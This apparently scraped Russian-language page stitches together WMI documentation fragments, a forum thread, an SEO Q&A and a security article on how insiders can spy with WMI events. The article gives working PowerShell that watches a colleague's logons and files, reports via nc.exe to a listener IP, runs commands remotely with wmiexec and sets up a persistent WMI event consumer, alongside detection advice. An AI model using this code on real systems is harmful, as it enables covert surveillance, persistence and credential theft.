разрешение на доступ к пространству имен WCF WMI;
разрешение на регистрацию несвязанного поставщика WMI для WCF.
Предоставление разрешения на доступ к пространству имен WMI
Запустите следующий сценарий PowerShell.
Этот сценарий PowerShell использует язык определения дескрипторов безопасности (SDDL) для предоставления группе Built-In Users доступа к пространству имен WMI root/ServiceModel. В нем указываются следующие списки управления доступом.
Предоставление доступа к регистрации поставщика
Запустите следующий сценарий PowerShell.
Предоставление доступа произвольным пользователям или группам
В примере из этого раздела всем локальным пользователям предоставляются права доступа к регистрации поставщика WMI. Если вы хотите предоставить доступ пользователю или группе, которые не являются встроенными, необходимо получить идентификатор безопасности (SID) этого пользователя или группы. Нет общего метода для получения идентификатора безопасности любого пользователя. В качестве одного из решений можно выполнить вход от имени нужного пользователя, а затем выполнить следующую команду в командной оболочке.
Доступ к экземплярам удаленных объектов WMI
WMI CIM Studio
Если вы установили средства администрирования WMI, вы можете использовать WMI CIM Studio для доступа к экземплярам WMI. Эти средства находятся в следующей папке:
в окне Подключение to namespace: введите рутсервицемодел и нажмите кнопку ок.
Тестер инструментария управления Windows
Это средство установлено Windows. Запустите командную консоль, введя cmd.exe в диалоговом окне Запуск/Запуск и нажмите кнопку ОК. Затем введите wbemtest.exe в командном окне. Запустится средство Тестер инструментария управления Windows.
нажмите кнопку Подключение в правом верхнем углу окна.
В новом окне введите рутсервицемодел в поле пространство имен и выберите параметр Конфиденциальность пакетов для уровня проверки подлинности. Нажмите кнопку Подключить.
Источник
- Remove From My Forums
-
Вопрос
Ответы
-
net stop winmgmt
net start winmgmt
Все ответы
-
Она стоит и запущена по-умолчанию. Называется Windows Management Instrumentation.
-
net stop winmgmt
net start winmgmt -
To Ivanov Alex-MCSE: Спасибо.
To Komatozo: Вы были правы. Действительно WMI запускается по умолчанию, вот только DPM 2007 этого почему-то не видит и ругается на эту службу.
-
Предложено в качестве ответа
29 декабря 2017 г. 6:26
-
Предложено в качестве ответа
Как запустить службу Winmgmt?
Запуск службы WinMgmt В командной строке введите команду net Start Winmgmt [ / < > ] . Дополнительные сведения о доступных параметрах см. в разделе Winmgmt. Для запуска службы WMI используется встроенная учетная запись администратора или учетная запись в группе «Администраторы», которая работает с повышенными правами.
Как называется служба WMI?
Убедитесь, что запущена служба WMI (Windows Management Instrumentation). В Windows 8 эта служба называется Winmgmt (в русской версии Windows она называется Инструментарий управления Windows), и рекомендаций по ее восстановлению без переустановки Windows у нас нет.
Windows Management Instrumentation (WMI) в дословном переводе — инструментарий управления Windows. WMI — это одна из базовых технологий для централизованного управления и слежения за работой различных частей компьютерной инфраструктуры под управлением платформы Windows.
Как включить WMI Windows 7?
на панели управления щелкните безопасность , а затем — Windows брандмауэр. нажмите кнопку изменить Параметры а затем перейдите на вкладку исключения . в окне исключения установите флажок для инструментарий управления Windows (WMI) (WMI) , чтобы включить трафик wmi через брандмауэр.
Как включить инструментарий управления Windows?
Правым кликом мыши вызовите контекстное меню и выберите «Свойства».
- В опции «Тип запуска» выберите вариант «Автоматически» и нажмите на кнопку «ОК».
- Далее вновь вызовите контекстное меню, кликнув на инструментарий управления Windows, и нажмите на «Запустить».
- Мы ценим, что вы с нами.
16 сент. 2019 г.
Что за программа WMI Provider Host?
Процесс WmiPrvSE.exe или WMI Provider Host — один из необходимых системных процессов Windows, позволяющий программам на компьютере получать различную информацию о системе. При обычной работе этот процесс не вызывает высокой нагрузки на процессор, но это не всегда так.
Какие порты открыть для WMI?
Какие порты использует WMI? WMI использует TCP-порт 135 и ряд динамических портов: 49152-65535 (динамические порты RPC: Windows Vista, 2008 и выше), TCP 1024-65535 (динамические порты RPC: Windows NT4, Windows 2000, Windows 2003). Вы также можете настроить для WMI пользовательский диапазон портов.
Как включить службу инструментария Windows?
Правым кликом мыши вызовите контекстное меню и выберите «Свойства».
- В опции «Тип запуска» выберите вариант «Автоматически» и нажмите на кнопку «ОК».
- Далее вновь вызовите контекстное меню, кликнув на инструментарий управления Windows, и нажмите на «Запустить».
- Мы ценим, что вы с нами.
16 сент. 2019 г.
Как избавиться от WMI Provider Host?
Для этого запустите командой services. msc оснастку управления службами, найдите в списке службу «Инструментарий управления Windows», откройте ее свойства, в диалоговом окошке тип запуска выберите «Отключена», а затем нажмите «Остановить» и «Применить».
- WMI Provider Host.
- wmiprvse.exe.
21 окт. 2018 г.
Что делать если Svchost exe грузит систему?
Для этого открыть Диспетчер Задач Windows (Alt+Ctrl+Del) и перейти на вкладку Процессы. Там будет не менее четырех процессов svchost.exe….
- Для начала всегда рекомендуется перезагрузить систему. …
- Если все повторилось, опять открыть Диспетчер задач и завершить перегруженный процесс svchost.exe.
Какие порты зарезервированы?
Для системных и некоторых популярных программ выделены общепринятые порты с номерами от 0 до 1023, называемые привилегированными или зарезервированными.
- Порты с номерами 1024 — 49151 называются зарегистрированными портами.
- Порты с номерами 1024 — 65535 называются динамическими портами.
Что такое 443 порт?
Что такое порты в Windows Каждый такой порт уникален и отвечает за ответ пользователю по определенной службе, например, 80 — это http служба, которая отвечает вам при запрашивании страниц сайта 1433 — это порт службы SQL. 443 — https зашифрованный вариант http, с использованием SSL сертификатов.
Что будет если отключить WMI Provider Host?
Процесс не является критическим, поэтому его можно завершить принудительно через Диспетчер задач. Однако подобное отключение на постоянной основе нежелательно, так как может нарушить работу подсоединяемых устройств вплоть до того, что компьютер перестанет их распознавать.
Как удалить вирус Свхост?
Открыв файл msconfig.exe нужно выбрать вкладку «Автозагрузка». При обнаружении в списке название svchost, следует снять возможность одновременного запуска с системой и удалить приложение, которое его запускает.
Можно ли завершить процесс svchost?
Можно ли завершить процессы Узел службы (svchost.exe)? Отключение системных процессов не окажет существенного влияния на прирост производительности. ОС Windows достаточно хорошо оптимизирована и не запускает не нужных служб.
Почему всего 65535 портов?
в свое время, когда создавали протокол tcp, решили, что 255 (1 байт) портов для одного хоста маловато, а 65535 (2 байта) вполне достаточно. а больше — неразумно, т. к. в tcp-заголовке каждый бит на счету.
Какие порты можно использовать для HTTP?
По умолчанию порт HTTP, используемый для системной связи между клиентом и сайтом, — порт 80 и 443 для HTTPS. Эти порты можно изменить во время установки или в свойствах сайта.
Инструментарий управления Windows (WMI) — это подсистема PowerShell, которая обеспечивает администраторам доступ к мощным инструментам системного мониторинга. Этот инструментарий задумывался как быстрое и эффективное средство системного администрирования, однако далеко не все используют его с благими целями: с его помощью злоумышленники-инсайдеры могут шпионить за другими сотрудниками. Знание этой уязвимости WMI ощутимым образом упрощает обнаружение внутренних угроз и борьбу с ними.
В этой статье мы рассмотрим, что такое инструментарий WMI, для чего он нужен и как его можно использовать для отслеживания инсайдерской деятельности в системе. Мы также составили более подробное руководство, посвященное событиям WMI и инсайдерскому шпионажу, которое вы можете скачать бесплатно.
Краткий обзор: что такое WMI и для чего он нужен?
Приведем конкретный пример. С помощью WMI вы можете запросить, например, все большие файлы Excel, находящиеся в том или ином каталоге, а затем получать уведомление каждый раз при создании файла с заданным размером, например 1 Мб. Командлет Register-WmiEvent позволяет сделать все это с помощью одной не слишком сложной строки в PowerShell.
В хороших руках WMI может послужить многим благим целям, но точно так же он может стать инструментом вредоносной инсайдерской деятельности. Можно легко представить, как некий сотрудник с повадками Эдварда Сноудена использует WMI, чтобы шпионить за своими коллегами. Для этого ему даже не понадобятся особые технические знания.
Предположим, наш гипотетический инсайдер «случайно» подсмотрел, что его коллега Лекс периодически скачивает большие файлы Excel, содержащие номера социального страхования и другие личные данные клиентов. В этом случае наш незаметный инсайдер может соорудить нечто подобное:
Register-WmiEvent -Query "SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance isa 'CIM_DataFile' and TargetInstance.FileSize > 2000000 and TargetInstance.Path = '\Users\lex\Important' and targetInstance.Drive = 'C:’ and targetInstance.Extension =’xlsx’” -Action $action
Этот код запрашивает объект CIM_DataFile для получения доступа к информации о создании файла Excel в указанном каталоге, а затем запускает выполнение блока сценария. Ближе к концу этой статьи мы рассмотрим подробнее, как может выглядеть этот блок сценария в случае с нашим гипотетическим инсайдером.
Для чего используется инструментарий управления Windows
Прежде чем мы перейдем к изучению того, как WMI может использоваться инсайдерами в целях отслеживания, стоит отметить, что у него есть множество законных применений. Глобальное предназначение этой системы — свести воедино все средства управления устройствами и приложениями в корпоративных сетях. Таким образом, WMI может использоваться:
- для сбора информации о статусе локальных и удаленных компьютерных систем
- настройки параметров безопасности для удаленных компьютеров и приложений
- настройки и редактирования свойств системы
- настройки и редактирования разрешений для авторизованных пользователей и групп
- выполнения кода и сериализации объектов (своеобразный «SSH на стероидах»)
- назначения и редактирования меток дисков
- создания графика выполнения процессов
- резервного копирования репозиториев объектов
- включения и отключения регистрации ошибок
Доступ ко всем этим функциям можно получить с помощью PowerShell и WMIC — интерфейса командной строки WMI. Как видите, у WMI есть самые разные применения, и эта система позволяет отслеживать и редактировать множество разнообразных параметров в компьютерной сети.
Архитектура инструментария управления Windows
Инструментарий WMI является частью операционной системы Windows, и он предварительно установлен на всех операционных системах, начиная с Windows 2000. WMI состоит из следующих компонентов:
- Служба WMI — это реализация системы WMI в Windows. Этот процесс отображается под именем «Инструментарий управления Windows» и является связующим звеном между поставщиками WMI, репозиторием WMI и управляющими приложениями. Данный процесс запускается автоматически при включении компьютера.
- Управляемые объекты — это любые логические или физические компоненты либо службы, которыми можно управлять с помощью WMI. К таким объектам могут относиться самые разные компоненты, поскольку WMI может получить доступ к любому параметру или объекту, к которым имеют доступ другие инструменты Windows, такие как системный монитор.
- Поставщики WMI — это объекты, которые отслеживают события и данные конкретного объекта. Существует множество различных типов поставщиков WMI как общего назначения, так и предназначенных для конкретных устройств. Многие из них предварительно встроены в систему Windows.
- Классы используются поставщиками WMI для передачи данных службам WMI. В классах содержатся события и свойства, позволяющие получать и настраивать данные. Системные классы WMI предварительно определены и начинаются с двойного подчеркивания.
- Методы, будучи привязанными к конкретным классам, позволяют выполнять действия на основе имеющихся в них данных. Например, методы можно использовать для запуска и завершения процессов на удаленных компьютерах. Доступ к методам можно получить с помощью приложений для обработки сценариев или сетевого администрирования.
- Репозиторий WMI — это база данных, в которой хранятся все статические данные, связанные с WMI. Динамические данные не хранятся в репозитории. Доступ к ним можно получить через класс поставщика WMI.
- Диспетчер объектов CMI — это система, которая находится между управляющим приложением и поставщиками WMI. Она запрашивает данные у этих поставщиков и затем передает их приложению.
- API WMI выполняет эти операции и предоставляет приложениям доступ к инфраструктуре WMI без привязки к типу используемого устройства.
- Потребитель WMI — это сущность, которая отправляет запросы объектам через диспетчер объектов. Обычно потребитель WMI является приложением для мониторинга, таким как PRTG Network Monitor, управляющим приложением или сценарием PowerShell.
Выполнение запросов WMI
Самым простым способом выполнения запроса WMI является запуск WMIC в стандартной командной строке Windows. Выполните следующие действия, чтобы получить информацию о процессоре, используемом на локальном компьютере:
- Откройте командную строку
- Введите WMIC для вызова программы и нажмите клавишу Enter
- Появится окно командной строки WMIC
- В командной строке можно выполнять запросы WMI. Самый простой запрос — это просмотр информации о локальном процессоре, который можно выполнить с помощью следующей команды:
WMIC CPU
- Результаты будут отображены в командной строке
Практически все команды, которые будут рассмотрены ниже, выполняются таким образом. Однако WMI позволяет получать гораздо более подробную информацию, чем сведения о процессоре, и в том числе от удаленных компьютеров и приложений.
Практикум по использованию событий WMI для наблюдения за системой
В этом разделе мы рассмотрим, как с помощью WMI выполнять команды и отслеживать процессы на удаленных компьютерах. Подобные приемы можно использовать в составе системы анализа поведения пользователей и сущностей (UEBA) для автоматического мониторинга процессов во всей системе и проверки на инсайдерские угрозы, о которых свидетельствуют подозрительное поведение или аномальные события.
Использование функциональности wmiexec из Impacket
В WMI можно выполнять разные функции, помимо управления событиями. В нем можно запускать процессы и выполнять команды в окнах Windows как на локальных, так и на удаленных компьютерах. Ради интереса попробуйте ввести команду wmic process call create ‘notepad.exe’ в сеансе PowerShell, чтобы открыть старый текстовый редактор Microsoft. При этом используется замечательный инструмент командной строки wmic, входящий в состав WMI. Здорово, правда?
Если бы я добавил параметр /Node:, а затем имя удаленного компьютера Windows, то смог бы запустить Блокнот на нем, при условии что у меня есть соответствующие разрешения. Совершенно ясно, что на практическом уровне wmic является незаменимым помощником для системных администраторов.
Прежде чем вы начнете возмущаться: я знаю, что существуют эквивалентные командлеты PowerShell. Однако я считаю, что синтаксис wmic легче запомнить.
Было бы здорово, если бы я мог с помощью WMI создать простую и незаметную псевдооболочку.
Скрытая псевдооболочка, созданная с помощью wmiexec
К моему везению, это можно сделать в Impacket. В тестовой среде Amazon я использовал свой любимый wmiexec для доступа к WMI через виртуальную машину Linux. В wmiexec предусмотрена возможность создания псевдооболочки: каждый раз, когда на стороне клиента вводится команда, на целевом компьютере создается отдельная оболочка для выполнения этой команды.
И в psexec, и в smbexec для запуска команд в удаленной системе используются службы Windows. Работа smbexec протекает незаметнее, так как он быстро создает, а затем удаляет службу, а psexec, наоборот, оставляет ее на виду.
Инструмент wmiexec напрямую запускает cmd.exe для удаленного выполнения команды. Созданную команду можно найти в средстве просмотра событий. Обратите внимание, что мы избежали привлекающих внимание служб Windows
Инструмент wmiexec абсолютно не затрагивает службы, вместо этого используя описанные выше возможности WMI для непосредственного запуска процесса. При поиске возможных источников угроз специалисты по безопасности редко начинают с WMI, в то время как службы обычно являются хорошим местом для начала поиска улик, указывающих на атаку. Хороший ход, wmiexec!
Использование событий WMI для наблюдения за пользователями
Пока я тешил себя мыслью, что я один такой умный и занимаюсь экспериментами с WMI, оказалось, что ребята, занимающиеся тестами на проникновение, уже давно поняли, как все работает. Вам обязательно нужно прочитать потрясающую презентацию Мэтта Грэбера (Matt Graeber) с конференции Black Hat 2015 года, где он рассказывает, как злоумышленники могут превратить WMI и весь его арсенал для работы с событиями в инструмент для взломов.
В моей истории я представляю себе инсайдера а-ля Сноуден, который обладает некоторыми техническими знаниями, но не глубокой хакерской мудростью, и которому доверяют другие сотрудники. Этому человеку не нужно знать все про WMI. Ему нужно знать только то, что требуется для работы на удаленном компьютере и инициирования событий.
Помимо файловых объектов, есть еще один интересный класс объектов, который можно изучить с помощью WMI, — win32_LogOnSession. Запрос этого базового объекта Windows позволяет найти пользователей, которые в данный момент находятся в системе. Затем можно использовать блок сценария действий Register-WmiEvent для запуска сценария PowerShell при удаленном входе нового пользователя в систему. Уловили суть? Злоумышленник может получать уведомления каждый раз, когда пользователь, за которым он следит, входит в целевую систему.
Вот что я набросал:
Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" –Action $action
Следующий вопрос — как запрограммировать выполнение блока сценария. Загадочного инсайдера из моих фантазий интересует конкретный пользователь — Круэлла. Наш злодей потихоньку шпионил за Круэллой и теперь планирует использовать собранную информацию, чтобы взломать ее рабочую учетную запись.
Задача блока сценария — проверить, кто вошел в систему, и определить, была ли это Круэлла. Я написал несколько строк кода PowerShell для этой цели, но это явно не самый лучший способ. Я никак не использую информацию о событии, передаваемую в блок сценария, а именно сведения о новом пользователе. Я наталкиваюсь на препятствия, причины которых я не могу понять в данный момент. Для этого нужно больше технических знаний, чем наш гипотетический инсайдер имеет или готов приобрести.
Вместо этого я просто перебрал список пользователей, возвращаемых gwmi Win32_Process (попробуйте запустить этот командлет в сеансе PowerShell), и сопоставил их с параметром «Круэлла». Можете полюбоваться на мое финальное решение:
Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {
$names=gwmi Win32_Process|% { $_.GetOwner().User}
foreach ($user in $names){
if ($user -eq "cruella") {
echo "cruella logged in"| C:UserslexDocumentsnc.exe 172.31.19.75 80
}
}
}
Register-WmiEvent позволяет сохранять скрытность, поскольку он запускается только при новом входе в систему, вместо того чтобы регулярно запрашивать объект Win32_Process, что может быть довольно заметным.
Помните, что наш инсайдер старается не привлекать к себе внимания. У нее есть доступ к удаленной системе через psexec, smbexec или wmiexec (самый незаметный способ). Однако ей не нужно постоянно бродить туда-сюда по системе жертвы.
В этом и прелесть использования событий WMI. Вы можете дождаться уведомления от Register-WmiEvent, а затем спокойно сделать свой ход.
Интеграция Netcat и WMI
Но каким образом сценарий возвращает горячую новость о том, что Круэлла вошла в систему на целевом компьютере?
Если вы заметили, что я использовал команды Netcat выше, можете поставить себе плюсик. Netcat — известная и универсальная утилита, позволяющая устанавливать соединения (необязательно для вредоносного ПО). С помощью нее можно выполнять обратное подключение или просто передавать сообщения по сети. Я воспользовался этой второй возможностью.
Приведенный выше сценарий отправляет сообщение Netcat в режиме ожидания и отображает надпись «Круэлла вошла в систему». Миссия выполнена.
Вы можете представить себе, как наш мошенник затем сбрасывает хеши с помощью инструмента secretsdump Impacket, взламывает хеш учетных данных Круэллы, после чего запускает wmiexec, используя разрешения Круэллы, для поиска более ценных данных.
Код Register-WmiEvent можно запустить напрямую. Обратите внимание на отображаемый идентификатор события
Устранение недочетов в механизме наблюдения WMI
В рамках этого примера я хотел удаленно запустить (используя wmiexec) полезную программу, которая будет предупреждать меня, когда конкретный пользователь, то есть Круэлла, входит в систему. После этого я мог спокойно сбросить и взломать ее учетные данные. Это был бы самый незаметный способ — удаленный доступ и никаких файлов. Единственная проблема, как мне поначалу казалось, заключалась во временном характере событий WMI.
Поэтому мне нужно было заключить мое непристойно длинное Register-WMIEvent (ниже) в командную строку PowerShell с параметром –noexit, обеспечивающим сохранение сеанса PowerShell после выполнения Register-Event, а значит, и сохранение события.
Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {$names=gwmi Win32_Process|% { $_.GetOwner().User};foreach ($user in $names){if ($user -eq "cruella") {echo "cruella logged in"| C:UserslexDocumentsnc.exe 172.31.19.75 80}}}
Когда я начал работать над этим, я понял, что должен «преобразовать» специальные символы, такие как $, “ и |, и передавать их как литералы непосредственно в PowerShell. Еще одна головная боль: мне в итоге пришлось отказаться от использования вертикальных линий, поскольку они вызывали ошибки анализа. Не спрашивайте. Постепенно я пришел к этой длинной строке кода:
$command="powershell -noexit -C Register-WMIEvent -Query ""Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3"" -Action {`$names = gwmi Win32_Process; `$users=@(); foreach (`$n in `$names) {`$users += `$n.GetOwner().User}; foreach (`$u in `$users) {if (`$u -eq ""cruella"") {.wmiexec C:UserslexDocumentsnc.exe 172.31.18.92 80 }}}
.wmiexec.exe corp.acme/lex@172.31.46.115 "$command"
Она выглядела многообещающе и, казалось, работала правильно, если верить журналу событий Windows в целевой системе. Однако, присмотревшись, я понял, что она не работает. Я уверен, что в итоге смог бы привести ее в нужный вид, но для этого мне потребовалось бы время и кофе, много кофе. Есть и другой вариант, чуть менее незаметный и совсем не бесфайловый: можно использовать smbclient для переноса сценария, а затем запустить его напрямую на целевом компьютере.
Удаленное выполнение сложного командлета Register-Event казалось мне абсолютно правильным. Но оно не работало. Ну и ладно
Увы, на этом этапе мои предположения о том, что сообразительный, но не слишком опытный инсайдер мог бы легко использовать временные события WMI для скрытого наблюдения, стали потихоньку разваливаться.
Почему при наблюдении нужно использовать постоянные события?
Правильный и одновременно требующий более глубоких знаний способ заключается в использовании постоянных событий WMI. Постоянные события WMI, хотя и представляют некоторую сложность, не только являются более эффективным инструментом для шпионов-инсайдеров, чем временные события, но и позволяют гораздо эффективнее отслеживать внутренние угрозы.
Изучение постоянных событий потребует некоторого времени, но они представляют наиболее эффективный способ реализации строгой системы мониторинга для больших систем. Они обладают более широкими возможностями, чем временные события WMI. Их также можно использовать для оповещения о нестандартной вредоносной активности, такой как DNS-туннелирование или нарушение политик Zero Trust.
Я посвятил изучению постоянных событий пару дней и обнаружил, что в PowerShell есть специальный командлет, который упрощает процесс создания фильтра событий, потребителя и объектов WMI между фильтром и потребителем. Как мы все знаем, PowerShell предоставляет администраторам широкие возможности для упрощения работы. К сожалению, данный пример показывает, как этими прекрасными возможностями могут воспользоваться злоумышленники.
Инсайдер создает постоянное событие на целевой системе, тем самым освобождая себя от необходимости присутствовать в сеансе оболочки. Событие остается там навсегда или до тех пор, пока не будет удалено явным образом. Подробнее о том, как это сделать, можно прочитать здесь , но в целом процесс похож на то, что я сделал выше с временным событием. Последнее, что потребуется от нашего хакера, — связать фильтр события с потребителем события.
Соглашусь, что для обычного сотрудника, который вдруг решил стать злобным хакером, это выглядит слишком круто. Ради интереса я почитал разные форумы и увидел, что многие люди безуспешно бьются над тем, чтобы заставить постоянные события WMI работать. Однако это вовсе не выходит за рамки возможностей нашего «Сноудена» и других сообразительных системных администраторов, которые решили перейти на темную сторону.
Постоянные события: советы для ИТ-администраторов
Эти методы не предназначены для обучения потенциальных хакеров или обиженных сотрудников, которые хотят отомстить работодателю. Все, чего я хочу, — это помочь ИТ-специалистам понять образ мысли хакера, чтобы они могли внедрить соответствующую защиту от атак на проникновение. Для них я показываю, как настроить фильтр и объекты потребителя с помощью командлета Set-WmiInstance:
$Filter = Set-WmiInstance -Namespace rootsubscription -Class __EventFilter -Arguments @{
EventNamespace = 'root/cimv2'
Name = “cruella”
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"
QueryLanguage = 'WQL'
}
$command = "powershell.exe -Command {$names = gwmi Win32_Process; $users=@(); foreach ($n in $names) {$users += $n.GetOwner().User}; foreach ($u in $users) {if ($u -eq 'cruella') { C:userslexDocumentsnc.exe 172.31.45.240 10000}}}"
$Consumer = Set-WmiInstance -Namespace rootsubscription -Class CommandLineEventConsumer -Arguments @{
Name = "Consumer"
CommandLineTemplate = $Command
}
Ваше домашнее задание — придумать код PowerShell, который свяжет эти два компонента воедино.
В ходе моих собственных тестов я смог заставить постоянное событие работать на целевой системе без чрезмерных усилий и страданий. Как вы помните, этого было весьма сложно добиться с временными событиями WMI, которые длятся ровно столько, сколько и сеанс PowerShell.
Настроив постоянное событие WMI, чтобы, например, следить за входом пользователей в систему, инсайдер или хакер не обязан оставаться в целевой системе. Дополнительным бонусом является то, что постоянное событие WMI является устойчивым: при перезагрузке компьютера триггеры событий по-прежнему действуют. Это делает постоянные события WMI мощным и скрытным способом инициировать атаку, которая может включать гораздо больше, чем просто мониторинг. Как вы помните, события WMI — далеко не самое первое место, где специалисты по безопасности будут искать источник атаки.
Например, код PowerShell для потребителя события может выступать как средство запуска и скачивать вредоносное ПО, хранящееся на удаленном сервере, с помощью DownloadString. Великолепная презентация Мэтта Грэбера на конференции Black Hat содержит много информации о вредоносном потенциале постоянных событий WMI.
Если вы специалист по безопасности, то как вы будете работать с событиями WMI с точки зрения их потенциального вредоносного использования?
Удача на вашей стороне: с помощью командлета Get-WmiObject (псевдоним gwmi) можно создать список фильтров событий, потребителей и связывающих объектов:
Вы перечисляете постоянные события WMI с помощью Get-WMIObject и устанавливаете соответствующие параметры. Обратите внимание на отсутствие отметки о времени создания.
Теперь, если фильтр (или потребитель) постоянного события покажется им подозрительным, ИТ-специалисты могут отключить его путем удаления с помощью конвейера PowerShell и командлета WMI-RemoveObject:
Удаление постоянных событий WMI включает использование конвейера PowerShell
Обратите внимание, что здесь не указано ни время создания события, ни имя злонамеренного пользователя. Для получения этой криминалистической информации потребуется обратиться к журналам событий Windows. Подробнее об этом ниже.
Можно ли отключить постоянные события WMI?
По крайней мере, ИТ-специалисты могут быстро увидеть зарегистрированные постоянные события WMI и приступить к анализу сценариев реальных событий на наличие признаков угроз. Возможно, как опытный специалист по ИТ-безопасности, вы считаете, что не всем нужен WMI на ноутбуках и лучшая стратегия по работе с уязвимостями постоянных событий WMI — это совсем отключить WMI.
Можно попробовать отключить службу Winmgmt, которая запускает WMI. На практике это не так уж просто. В ходе моих собственных тестов я так и не смог отключить эту службу: она автоматически запускалась снова и снова.
Предположим, что вам все же удалось отключить ее. Административное программное обеспечение Windows во многом зависит от WMI и не будет работать, если Winmgmt недоступна. По всему Интернету форумы наполнены сообщениями, предостерегающими от отключения WMI. Советую к ним прислушаться и помиловать ваш WMI.
Выявление событий WMI, представляющих угрозу, с помощью Sysmon и SIEM
В общем, вам придется принять уязвимость событий WMI как факт. К счастью, есть более эффективные способы обнаружения постоянных событий и других подозрительных операций с событиями в Windows, чем использование вышеупомянутого командлета Powershell.
Знакомьтесь, Sysmon! Я не буду вдаваться в подробности, рассказывая об этой бесплатной утилите Windows, которую можно загрузить здесь, в этой статье. Скажу лишь, что она позволяет получать очень полезную информацию для анализа в одном месте, вместо того чтобы просматривать каждый журнал событий Windows по отдельности. Пользователям Windows 7 и более поздних версий возможности Sysmon могут не понадобиться, поскольку в новых системах Windows используются более совершенные механизмы ведения стандартных журналов.
Sysmon — удобная и понятная утилита для регистрации событий от Microsoft
Sysmon назначает идентификатор события 19 созданию постоянного событию фильтра WMI (20 назначается созданию события потребителя WMI, а 21 — связыванию WMI). Если вы откроете средство просмотра событий, вы найдете журнал событий Sysmon в разделе Microsoft -> Windows -> Sysmon.
Вы не хотите открывать средство просмотра событий вручную, чтобы отслеживать постоянные события WMI, которые могут быть признаком хакерской активности. Мы знаем, как вам помочь.
Почему бы не создать фильтр постоянных событий WMI для мониторинга создания (догадались?) постоянного события WMI?
На GitHub есть небольшой проект, где вы найдете код для настройки этой операции. Вот фрагмент кода для фильтра событий WMI, который позволяет отслеживать создание… да-да, фильтра событий WMI:
$Filter = Set-WmiInstance -Namespace rootsubscription -Class __EventFilter -Arguments @{
EventNamespace = 'root/subscription'
Name = '_PersistenceEvent_'
Query = 'SELECT * FROM __InstanceCreationEvent WITHIN 5 Where TargetInstance ISA "__EventConsumer"'
QueryLanguage = 'WQL'
}
Очевидно, что здесь нам понадобится помощь средств по управлению информационной безопасностью и событиями безопасности (SIEM), поскольку улики погребены в завалах журналов. Я думаю, вы понимаете, к чему все идет. Вам понадобится решение для мониторинга безопасности, объединяющее функции SIEM с анализом других угроз для обнаружения и устранения угроз, связанных с постоянными событиями WMI.
Часто задаваемые вопросы об инструментарии управления Windows
Описанные выше методы вполне могут быть использованы для реализации системы наблюдения в вашей сети, однако у вас могли остаться некоторые вопросы о WMI. В этом разделе мы ответим на самые распространенные из них.
WMI объявлен устаревшим?
Сам WMI не устарел, но была объявлена устаревшей WMIC, что вводит многих людей в заблуждение. Для доступа к функциям, ранее обеспечиваемым WMIC, теперь используется PowerShell.
Какие порты использует WMI?
WMI использует TCP-порт 135 и ряд динамических портов: 49152-65535 (динамические порты RPC: Windows Vista, 2008 и выше), TCP 1024-65535 (динамические порты RPC: Windows NT4, Windows 2000, Windows 2003). Вы также можете настроить для WMI пользовательский диапазон портов.
WMI использует WimRM?
Данная конфигурация не является стандартной, однако вы можете использовать WMI для получения данных с помощью сценариев или приложений, использующих WinRM Scripting API, или с помощью инструмента командной строки Winrm. WinRM может использовать WMI для сбора данных о ресурсах или для управления ресурсами в операционной системе Windows.
Заключение
Как мы увидели, WMI предоставляет администраторам мощный инструмент для мониторинга удаленных процессов и компьютеров и может использоваться при разработке соглашений о мониторинге конечных пользователей (EUMA) для автоматического оповещения о подозрительной активности. Это делает его отличным инструментом для обнаружения и устранения внутренних угроз, предотвращения попыток обойти политики безопасности, а также наблюдения за тем, как используются ваши системы.
Если вы хотите узнать больше о том, как использовать WMI для наблюдения за инсайдерской деятельностью, вы можете скачать наше подробное руководство здесь.